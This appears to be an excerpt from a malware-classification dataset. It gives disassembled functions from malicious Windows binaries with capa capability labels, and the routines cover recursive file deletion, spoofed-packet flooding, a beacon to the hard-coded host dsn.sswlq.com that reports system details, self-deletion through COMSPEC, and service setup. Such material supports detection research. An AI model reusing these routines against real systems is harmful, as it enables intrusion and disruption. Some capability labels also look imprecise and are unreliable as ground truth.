joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Access peb ldr_data
Delete file

Disassembly:
push 0xffffffffffffffff
push 0x403078
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x28
lea ecx, [esp]
call sub.MFC42.DLL_CString::CString_2
mov eax, dword [esp + 0x38]
lea ecx, [esp]
push eax
push str._s.
push ecx
mov dword [esp + 0x3c], 0
call sub.MFC42.DLL_CString::Format
add esp, 0xc
lea ecx, [esp + 0xc]
call fcn.00402e56
mov edx, dword [esp]
push 0
push edx
lea ecx, [esp + 0x14]
mov byte [esp + 0x38], 1
call sub.MFC42.DLL_CFileFind::FindFile
test eax, eax
jne 0x40108f
lea ecx, [esp + 0xc]
mov byte [esp + 0x30], al
call sub.MFC42.DLL_CFileFind::CFileFind
lea ecx, [esp]
mov dword [esp + 0x30], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
add esp, 0x34
ret
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
push edi
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CFileFind::FindNextFileA
lea ecx, [esp + 0x18]
mov edi, eax
call sub.MFC42.DLL_CFileFind::IsDots
test eax, eax
jne 0x401158
mov eax, dword [esp + 0x18]
push 0x10
lea ecx, [esp + 0x1c]
call dword [eax + 0x40]
test eax, eax
je 0x4010f5
lea ecx, [esp + 0x44]
push ecx
lea ecx, [esp + 0x1c]
call sub.MFC42.DLL_CFileFind::GetFilePath
push 0
mov ecx, eax
mov byte [esp + 0x40], 2
call sub.MFC42.DLL_CString::GetBuffer
push eax
call fcn.00401000
add esp, 4
mov byte [esp + 0x3c], 1
lea ecx, [esp + 0x44]
jmp 0x401153
lea edx, [esp + 0x10]
lea ecx, [esp + 0x18]
push edx
call sub.MFC42.DLL_CFileFind::GetFileName
push str..BBBBB
mov ecx, eax
mov byte [esp + 0x40], 3
call sub.MFC42.DLL_CString::Find
test eax, eax
lea ecx, [esp + 0x10]
mov byte [esp + 0x3c], 1
setge bl
call sub.MFC42.DLL_CString::CString
test bl, bl
je 0x401158
lea eax, [esp + 0x14]
lea ecx, [esp + 0x18]
push eax
call sub.MFC42.DLL_CFileFind::GetFilePath
push 0
mov ecx, eax
mov byte [esp + 0x40], 4
call sub.MFC42.DLL_CString::GetBuffer
push eax
call esi
mov byte [esp + 0x3c], 1
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::CString
test edi, edi
jne 0x401098
lea ecx, [esp + 0x18]
mov byte [esp + 0x3c], 0
call sub.MFC42.DLL_CFileFind::CFileFind
lea ecx, [esp + 0xc]
mov dword [esp + 0x3c], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x34]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x34
ret
Function at 0x401270
Capabilities:
Enumerate processes

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
push 0x128
mov dword [esp + 0x14], edi
call sub.MFC42.DLL_operatornew
add esp, 4
mov esi, eax
push esi
push edi
mov dword [esi], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x4012ee
mov ebx, dword [esp + 0x18]
mov ebp, dword [sym.imp.MSVCRT.dll__strcmpi]
lea edi, [esi + 0x24]
push ebx
push edi
call ebp
add esp, 8
test eax, eax
jne 0x4012c5
mov eax, dword [esi + 8]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
mov eax, dword [esp + 0x10]
push esi
push eax
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x4012ee
push ebx
push edi
call ebp
add esp, 8
test eax, eax
je 0x4012bc
mov ecx, dword [esp + 0x10]
push esi
push ecx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x4012d4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret

Function at 0x401490
Capabilities:
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
sub esp, 0x6b0
lea eax, [esp + 0x120]
push ebx
push ebp
push esi
push edi
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
lea ecx, [esp + 0x2c]
push 0x104
push ecx
xor ebx, ebx
xor ebp, ebp
call dword [sym.imp.WS2_32.dll_gethostname]
lea edx, [esp + 0x2c]
push edx
call dword [sym.imp.WS2_32.dll_gethostbyname]
cmp eax, ebx
je 0x4014d7
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov ebp, dword [ecx]
mov esi, dword [sym.imp.WS2_32.dll_htons]
mov ecx, 0x100
mov eax, 0x41414141
lea edi, [esp + 0x2c0]
rep stosd dword es:[edi], eax
push 0x41c
mov dword [0x4068a8], 0x41c
mov byte [esp + 0x1c], 0x45
mov byte [esp + 0x1d], bl
call esi
push str.192.168.1.2
mov word [esp + 0x1e], ax
mov word [esp + 0x20], bx
mov word [esp + 0x22], bx
mov byte [esp + 0x24], 0x80
mov byte [esp + 0x25], 0x11
mov word [esp + 0x26], bx
call dword [sym.imp.WS2_32.dll_inet_addr]
push 0x1544
mov dword [esp + 0x2c], eax
call esi
mov dx, word [0x4062e0]
mov word [esp + 0x10], ax
push edx
call esi
push 0x408
mov word [esp + 0x16], ax
call esi
mov dx, ax
mov ecx, 0x10f
xor eax, eax
mov edi, 0x40645c
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x28]
mov word [esp + 0x14], dx
mov word [esp + 0x16], bx
mov ecx, dword [esp + 0x14]
mov ebx, dword [esp + 0x10]
mov dword [0x40646c], ecx
mov ecx, 0x100
lea esi, [esp + 0x2c0]
mov edi, 0x406470
mov dword [0x40645c], ebp
mov dword [0x406460], eax
mov byte [0x406465], 0x11
mov word [0x406466], dx
mov dword [0x406468], ebx
push 0x414
push 0x40645c
rep movsd dword es:[edi], dword [esi]
mov dword [esp + 0x2c], ebp
call fcn.00401300
mov ecx, 5
lea esi, [esp + 0x20]
mov edi, 0x40645c
mov word [esp + 0x1e], ax
mov edx, dword [esp + 0x1c]
add esp, 8
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x100
lea esi, [esp + 0x2c0]
mov edi, 0x406478
mov dword [0x406470], ebx
mov dword [0x406474], edx
rep movsd dword es:[edi], dword [esi]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x6b0
ret
Function at 0x401760
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x1d8
push ebx
push ebp
push esi
lea eax, [esp + 0x54]
push edi
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
xor edi, edi
push edi
call dword [sym.imp.MSVCRT.dll_time]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
add esp, 8
xor ecx, ecx
mov dword [esp + 0x39], ecx
mov ebx, dword [sym.imp.MSVCRT.dll_rand]
mov dword [esp + 0x3d], ecx
mov al, 6
mov dword [esp + 0x41], ecx
mov byte [esp + 0x38], 0
mov dword [esp + 0x45], ecx
mov byte [esp + 0x10], 0x45
mov word [esp + 0x49], cx
mov word [esp + 0x14], 1
mov byte [esp + 0x4b], cl
mov byte [esp + 0x11], cl
mov word [esp + 0x16], 0x40
mov byte [esp + 0x18], 0x80
mov byte [esp + 0x19], al
mov dword [esp + 0x2c], edi
mov byte [esp + 0x30], 0x50
mov byte [esp + 0x31], 2
mov word [esp + 0x36], di
mov byte [esp + 0x54], cl
mov byte [esp + 0x55], al
mov ebp, 0x4068ac
jmp 0x4017f9
xor edi, edi
call ebx
cdq
mov ecx, 0xfa
idiv ecx
inc edx
push edx
call ebx
cdq
mov ecx, 0xfa
idiv ecx
inc edx
push edx
call ebx
cdq
mov ecx, 0xfa
idiv ecx
inc edx
push edx
call ebx
cdq
mov ecx, 0xfa
idiv ecx
inc edx
push edx
lea edx, [esp + 0x48]
push str._d._d._d._d
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
mov esi, dword [sym.imp.WS2_32.dll_htons]
add esp, 0x18
push 0x28
call esi
mov word [esp + 0x12], ax
lea eax, [esp + 0x38]
push eax
mov word [esp + 0x1e], di
call dword [sym.imp.WS2_32.dll_inet_addr]
mov edi, eax
push str.192.168.1.2
mov dword [esp + 0x20], edi
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [esp + 0x20], eax
call ebx
cdq
mov ecx, 0xea60
idiv ecx
inc edx
push edx
call esi
mov dx, word [0x4062e0]
mov word [esp + 0x24], ax
push edx
call esi
mov word [esp + 0x26], ax
call ebx
cdq
mov ecx, 0x35a4e900
idiv ecx
inc edx
push edx
call dword [sym.imp.WS2_32.dll_htonl]
push 0x200
mov dword [esp + 0x2c], eax
call esi
push 0x14
mov word [esp + 0x36], ax
mov word [esp + 0x38], 0
call esi
mov edx, ebp
mov word [esp + 0x56], ax
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x54]
mov dword [edx], edi
lea edi, [ebp + 0xc]
lea esi, [esp + 0x24]
push 0x20
mov dword [edx + 4], eax
push ebp
mov dword [edx + 8], ecx
mov ecx, 5
rep movsd dword es:[edi], dword [esi]
call fcn.00401300
mov ecx, 5
lea esi, [esp + 0x18]
mov edi, ebp
mov word [esp + 0x3c], ax
rep movsd dword es:[edi], dword [esi]
lea edi, [ebp + 0x14]
mov ecx, 5
lea esi, [esp + 0x2c]
push 0x28
rep movsd dword es:[edi], dword [esi]
push 0x4068ac
mov dword [ebp + 0x28], 0
call fcn.00401300
mov ecx, 5
lea esi, [esp + 0x20]
mov edi, ebp
mov word [esp + 0x2a], ax
rep movsd dword es:[edi], dword [esi]
lea edi, [ebp + 0x14]
add ebp, 0x3c
add esp, 0x10
mov ecx, 5
lea esi, [esp + 0x24]
cmp ebp, 0x4428ac
rep movsd dword es:[edi], dword [esi]
jl 0x4017f7
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1d8
ret
Function at 0x401c80
Capabilities:
Create process on windows
Get comspec environment variable
Query environment variable
Resume thread
Self delete

Disassembly:
sub esp, 0x360
lea eax, [esp + 0x54]
push ebx
push ebp
push esi
push edi
push 0x104
xor ebx, ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x401ded
lea ecx, [esp + 0x64]
push 0x104
lea edx, [esp + 0x68]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
test eax, eax
je 0x401ded
lea eax, [esp + 0x26c]
push 0x104
push eax
push str.COMSPEC
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x401ded
lea ecx, [esp + 0x168]
push str.__c__del
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp + 0x64]
lea eax, [esp + 0x168]
push edx
push eax
call esi
lea ecx, [esp + 0x168]
push str.___nul
push ecx
call esi
lea edx, [esp + 0x168]
lea eax, [esp + 0x26c]
push edx
push eax
call esi
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x24]
mov dword [esp + 0x10], ebx
rep stosd dword es:[edi], eax
xor ecx, ecx
mov word [esp + 0x50], bx
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], ecx
push 0x100
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], 0x44
mov dword [esp + 0x50], 1
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push eax
call esi
mov ebp, dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push 0xf
call ebp
mov edi, dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push eax
call edi
lea edx, [esp + 0x10]
lea eax, [esp + 0x20]
push edx
push eax
push 0
push 0
push 0xc
push 0
push 0
lea ecx, [esp + 0x288]
push 0
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x401ddf
mov edx, dword [esp + 0x10]
push 0x40
push edx
call esi
mov eax, dword [esp + 0x14]
push 0xfffffffffffffff1
push eax
call edi
mov ecx, dword [esp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x360
ret
push 0x20
call ebx
push eax
call esi
push 0
call ebp
push eax
call edi
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x360
ret
Function at 0x402450
Capabilities:
Check os version
Get memory capacity
Send data
Send data on socket

Disassembly:
push 0xffffffffffffffff
push 0x4030e6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xd0
push edi
lea ecx, [esp + 8]
call sub.MFC42.DLL_CString::CString_2
mov ecx, 0x24
xor eax, eax
lea edi, [esp + 0x44]
mov dword [esp + 0x40], 0x94
rep stosd dword es:[edi], eax
lea eax, [esp + 0x40]
mov dword [esp + 0xdc], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, dword [esp + 0x44]
pop edi
cmp eax, 5
jne 0x40256d
mov eax, dword [esp + 0x44]
test eax, eax
jne 0x4024c5
lea ecx, [esp + 8]
push str.win_2000
push ecx
jmp 0x402564
cmp eax, 1
jne 0x402555
lea edx, [esp + 0x50]
lea ecx, [esp]
push edx
call fcn.00402e86
lea ecx, [esp]
mov byte [esp + 0xd8], 1
call sub.MFC42.DLL_CString::FreeExtra
push str.Service
lea ecx, [esp + 4]
call sub.MFC42.DLL_CString::Find
test eax, eax
jl 0x40252f
push str.Pack
lea ecx, [esp + 4]
call sub.MFC42.DLL_CString::Find
test eax, eax
jl 0x40252f
push 0x4063c8
lea ecx, [esp + 4]
call sub.MFC42.DLL_CString::Find
test eax, eax
jl 0x40252f
lea eax, [esp + 8]
push str.win_xp_sp2
push eax
jmp 0x402539
lea ecx, [esp + 8]
push str.win_xp
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 8
lea ecx, [esp]
mov byte [esp + 0xd8], 0
call sub.MFC42.DLL_CString::CString
jmp 0x40256d
cmp eax, 2
jne 0x40256d
lea edx, [esp + 8]
push str.win_2003
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 8
lea eax, [esp + 0x1c]
mov dword [esp + 0x1c], 0x20
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
mov edx, dword [esp + 0x24]
lea ecx, [esp + 8]
shr edx, 0x14
inc edx
push ecx
push edx
lea eax, [esp + 0xc]
push str.HX:_d_s
push eax
call sub.MFC42.DLL_CString::Format
mov ecx, dword [esp + 0x14]
add esp, 0x10
mov eax, dword [ecx - 8]
push 0
inc eax
lea ecx, [esp + 8]
push eax
push 0
call sub.MFC42.DLL_CString::GetBuffer
mov edx, dword [esp + 0xe8]
push eax
push edx
call dword [sym.imp.WS2_32.dll_send]
lea ecx, [esp + 4]
mov dword [esp + 0xd8], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0xd0]
mov dword fs:[0], ecx
add esp, 0xdc
ret
Function at 0x4025f0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Get socket status
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket

Disassembly:
sub esp, 0x4a4
push ebx
push ebp
push esi
lea eax, [esp + 0x320]
push edi
push eax
push 0x102
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ecx, 0x80
xor eax, eax
lea edi, [esp + 0x124]
mov word [esp + 0x10], 2
rep stosd dword es:[edi], eax
mov cx, word [0x4062bc]
push ecx
call dword [sym.imp.WS2_32.dll_htons]
push str.dsn.sswlq.com
mov word [esp + 0x16], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
mov dword [esp + 0x14], eax
jne 0x402682
push str.dsn.sswlq.com
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x40278a
movsx ecx, word [eax + 0xa]
mov edx, dword [eax + 0xc]
lea edi, [esp + 0x14]
mov esi, dword [edx]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ax, word [eax + 8]
mov word [esp + 0x10], ax
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
je 0x40278a
lea ecx, [esp + 0x10]
push 0x10
push ecx
push esi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x40278a
push esi
call fcn.00402450
mov ebx, dword [sym.imp.WS2_32.dll_select]
add esp, 4
lea ebp, [esi + 1]
push 0
push 0
lea edx, [esp + 0x28]
push 0
push edx
push ebp
mov dword [esp + 0x38], esi
mov dword [esp + 0x34], 1
call ebx
cmp eax, 0xffffffff
je 0x40277e
test eax, eax
je 0x40277e
lea eax, [esp + 0x20]
push eax
push esi
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x40274c
push 0
lea ecx, [esp + 0x128]
push 0x200
push ecx
push esi
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x40277e
lea edx, [esp + 0x124]
push edx
call fcn.00401e00
add esp, 4
test eax, eax
je 0x40274c
push 0
push 2
push 0x4063e8
push esi
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x40274c
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x40276c
mov ecx, 0x80
xor eax, eax
lea edi, [esp + 0x124]
push 0x1f4
rep stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4026c2
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x4a4
ret
mov edi, dword [sym.imp.WS2_32.dll_closesocket]
push esi
call edi
push esi
call edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x4a4
ret
Function at 0x4029c0
Capabilities:
Terminate process

Disassembly:
sub esp, 0x10
call 0x402a40
test eax, eax
je 0x4029ff
lea eax, [esp]
mov dword [esp], 0x40601c
push eax
mov dword [esp + 8], 0x4027a0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
call dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
xor eax, eax
add esp, 0x10
ret 0x10
push str.M2server3G
push 0x40603c
push 0x40601c
call fcn.00402ae0
add esp, 0xc
call fcn.004011a0
mov eax, dword [0x4428ac]
test eax, eax
je 0x4029f7
call fcn.00401c80
push 0
call dword [sym.imp.MSVCRT.dll_exit]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
sub esp, 0x108
push ebx
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
lea edx, [esp + 0x10]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, str.SYSTEMCurrentControlSetServices_
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x10]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x40601c
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0xc]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push 0xf003f
lea ecx, [esp + 0x18]
push 0
push ecx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
neg eax
sbb eax, eax
pop edi
pop esi
inc eax
pop ebx
add esp, 0x108
ret
Function at 0xb52c54
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0xb86008], 0x8088405
inc edx
mov dword [ebx + 0xb86008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0xb5aeb8
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ecx
mov esi, ecx
mov dword [esp], 0x4e67c6a7
dec edx
test edx, edx
jl 0xb5aee8
inc edx
xor ecx, ecx
mov ebx, dword [esp]
shl ebx, 5
movzx edi, byte [eax + ecx]
add ebx, edi
mov edi, dword [esp]
shr edi, 2
add ebx, edi
xor dword [esp], ebx
inc ecx
dec edx
jne 0xb5aecd
mov ecx, esi
mov eax, esp
mov edx, 4
call fcn.00b56fcc
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0xb605a0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
mov ebx, eax
mov edi, dword [ebx + 0x24]
mov esi, dword [ebx + 0x34]
sub esi, dword [ebx + 0x6c]
sub esi, dword [ebx + 0x64]
test esi, esi
jne 0xb605ca
cmp dword [ebx + 0x64], 0
jne 0xb605ca
cmp dword [ebx + 0x6c], 0
jne 0xb605ca
mov esi, edi
jmp 0xb60662
cmp esi, 0xffffffff
jne 0xb605d5
dec esi
jmp 0xb60662
mov eax, dword [ebx + 0x64]
lea edx, [edi + edi]
sub edx, 0x106
cmp eax, edx
jb 0xb60662
mov eax, dword [ebx + 0x30]
lea edx, [eax + edi]
mov ebp, edi
mov ecx, ebp
call fcn.00b5be2c
sub dword [ebx + 0x68], edi
sub dword [ebx + 0x64], edi
sub dword [ebx + 0x54], ebp
mov eax, dword [ebx + 0x44]
mov edx, dword [ebx + 0x3c]
lea edx, [edx + eax*2]
mov dword [esp], edx
sub dword [esp], 2
mov edx, dword [esp]
movzx edx, word [edx]
cmp edi, edx
ja 0xb60622
sub dx, di
mov ecx, dword [esp]
mov word [ecx], dx
jmp 0xb6062a
mov edx, dword [esp]
mov word [edx], 0
dec eax
test eax, eax
jne 0xb60609
mov eax, edi
mov edx, dword [ebx + 0x38]
lea edx, [edx + eax*2]
mov dword [esp], edx
sub dword [esp], 2
mov edx, dword [esp]
movzx edx, word [edx]
cmp edi, edx
ja 0xb60653
sub dx, di
mov ecx, dword [esp]
mov word [ecx], dx
jmp 0xb6065b
mov edx, dword [esp]
mov word [edx], 0
dec eax
test eax, eax
jne 0xb6063a
add esi, edi
mov eax, dword [ebx]
cmp dword [eax + 4], 0
je 0xb606c0
mov edx, dword [ebx + 0x64]
add edx, dword [ebx + 0x6c]
mov ecx, dword [ebx + 0x30]
lea edx, [ecx + edx]
mov ecx, esi
call fcn.00b602d0
add dword [ebx + 0x6c], eax
cmp dword [ebx + 0x6c], 3
jb 0xb606ab
mov eax, dword [ebx + 0x64]
mov edx, dword [ebx + 0x30]
movzx eax, byte [edx + eax]
mov dword [ebx + 0x40], eax
mov ecx, dword [ebx + 0x50]
shl eax, cl
mov edx, dword [ebx + 0x64]
mov ecx, dword [ebx + 0x30]
movzx edx, byte [ecx + edx + 1]
xor eax, edx
and eax, dword [ebx + 0x4c]
mov dword [ebx + 0x40], eax
cmp dword [ebx + 0x6c], 0x106
jae 0xb606c0
mov eax, dword [ebx]
cmp dword [eax + 4], 0
jne 0xb605aa
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0xb61590
Capabilities:
Hash data with crc32

Disassembly:
push ebx
xor ebx, ebx
mov ecx, 0xb898bc
mov eax, ebx
mov edx, 8
test al, 1
je 0xb615ac
shr eax, 1
xor eax, 0xedb88320
jmp 0xb615ae
shr eax, 1
dec edx
jne 0xb6159f
mov dword [ecx], eax
inc ebx
add ecx, 4
cmp ebx, 0x100
jne 0xb61598
pop ebx
ret
Function at 0xb615c4
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00b54534
xor eax, eax
push ebp
push 0xb61633
push dword fs:[eax]
mov dword fs:[eax], esp
or ebx, 0xffffffff
mov eax, dword [ebp - 4]
call fcn.00b54344
test eax, eax
jle 0xb6161b
mov edx, 1
mov ecx, dword [ebp - 4]
movzx ecx, byte [ecx + edx - 1]
mov esi, ebx
and esi, 0xff
xor ecx, esi
mov ecx, dword [ecx*4 + 0xb898bc]
shr ebx, 8
xor ecx, ebx
mov ebx, ecx
inc edx
dec eax
jne 0xb615f7
not ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0xb6163a
lea eax, [ebp - 4]
call fcn.00b54074
ret

Function at 0xb61644
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebx
push esi
push ecx
mov dword [esp], eax
or eax, 0xffffffff
dec edx
test edx, edx
jl 0xb61678
inc edx
xor ecx, ecx
mov ebx, dword [esp]
movzx ebx, byte [ebx + ecx]
mov esi, eax
and esi, 0xff
xor ebx, esi
mov ebx, dword [ebx*4 + 0xb898bc]
shr eax, 8
xor ebx, eax
mov eax, ebx
inc ecx
dec edx
jne 0xb61655
not eax
pop edx
pop esi
pop ebx
ret

Function at 0xb61680
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebx
push esi
push ecx
mov dword [esp], eax
or eax, 0xffffffff
dec edx
test edx, edx
jl 0xb616b4
inc edx
xor ecx, ecx
mov ebx, dword [esp]
movzx ebx, byte [ebx + ecx]
mov esi, eax
and esi, 0xff
xor ebx, esi
mov ebx, dword [ebx*4 + 0xb898bc]
shr eax, 8
xor ebx, eax
mov eax, ebx
inc ecx
dec edx
jne 0xb61691
not eax
pop edx
pop esi
pop ebx
ret
Function at 0xb617fc
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov esi, ecx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00b54534
xor eax, eax
push ebp
push 0xb61955
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp + 8]
call fcn.00b54074
mov eax, dword [ebp - 4]
call fcn.00b54344
mov edi, eax
test edi, edi
je 0xb6193f
mov eax, dword [ebp - 4]
call fcn.00b615c4
mov dword [ebp - 0xc], eax
lea edx, [edi + 4]
lea eax, [ebp - 4]
call fcn.00b54688
lea eax, [ebp - 4]
call fcn.00b5459c
lea edx, [eax + edi]
lea eax, [ebp - 0xc]
mov ecx, 4
call fcn.00b52a8c
mov eax, dword [ebp - 4]
call fcn.00b54344
mov edi, eax
mov eax, ebx
shr eax, 0x18
mov byte [ebp - 0x10], al
mov eax, ebx
shr eax, 0x10
mov byte [ebp - 0xf], al
mov eax, ebx
shr eax, 8
mov byte [ebp - 0xe], al
mov byte [ebp - 0xd], bl
dec esi
cmp esi, 0
jb 0xb61934
mov dword [ebp - 8], esi
lea eax, [ebp - 4]
call fcn.00b5459c
mov edx, dword [ebp - 4]
mov dl, byte [edx]
mov cl, byte [ebp - 0xf]
add dl, cl
mov byte [eax], dl
mov esi, edi
sub esi, 2
jb 0xb618e2
inc esi
mov ebx, 2
lea eax, [ebp - 4]
call fcn.00b5459c
mov edx, dword [ebp - 4]
mov dl, byte [edx + ebx - 2]
mov ecx, dword [ebp - 4]
mov cl, byte [ecx + ebx - 1]
add dl, cl
mov cl, byte [ebp - 0xd]
xor dl, cl
mov byte [eax + ebx - 1], dl
inc ebx
dec esi
jne 0xb618bd
lea eax, [ebp - 4]
call fcn.00b5459c
mov edx, dword [ebp - 4]
mov dl, byte [edx + edi - 1]
mov cl, byte [ebp - 0x10]
add dl, cl
mov byte [eax + edi - 1], dl
mov ebx, edi
dec ebx
cmp ebx, 1
jb 0xb61927
lea eax, [ebp - 4]
call fcn.00b5459c
mov edx, dword [ebp - 4]
mov dl, byte [edx + ebx]
mov ecx, dword [ebp - 4]
mov cl, byte [ecx + ebx - 1]
add dl, cl
mov cl, byte [ebp - 0xe]
xor dl, cl
mov byte [eax + ebx - 1], dl
dec ebx
test ebx, ebx
jne 0xb61902
dec dword [ebp - 8]
cmp dword [ebp - 8], 0xffffffff
jne 0xb6189c
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 4]
call fcn.00b540c8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0xb6195c
lea eax, [ebp - 4]
call fcn.00b54074
ret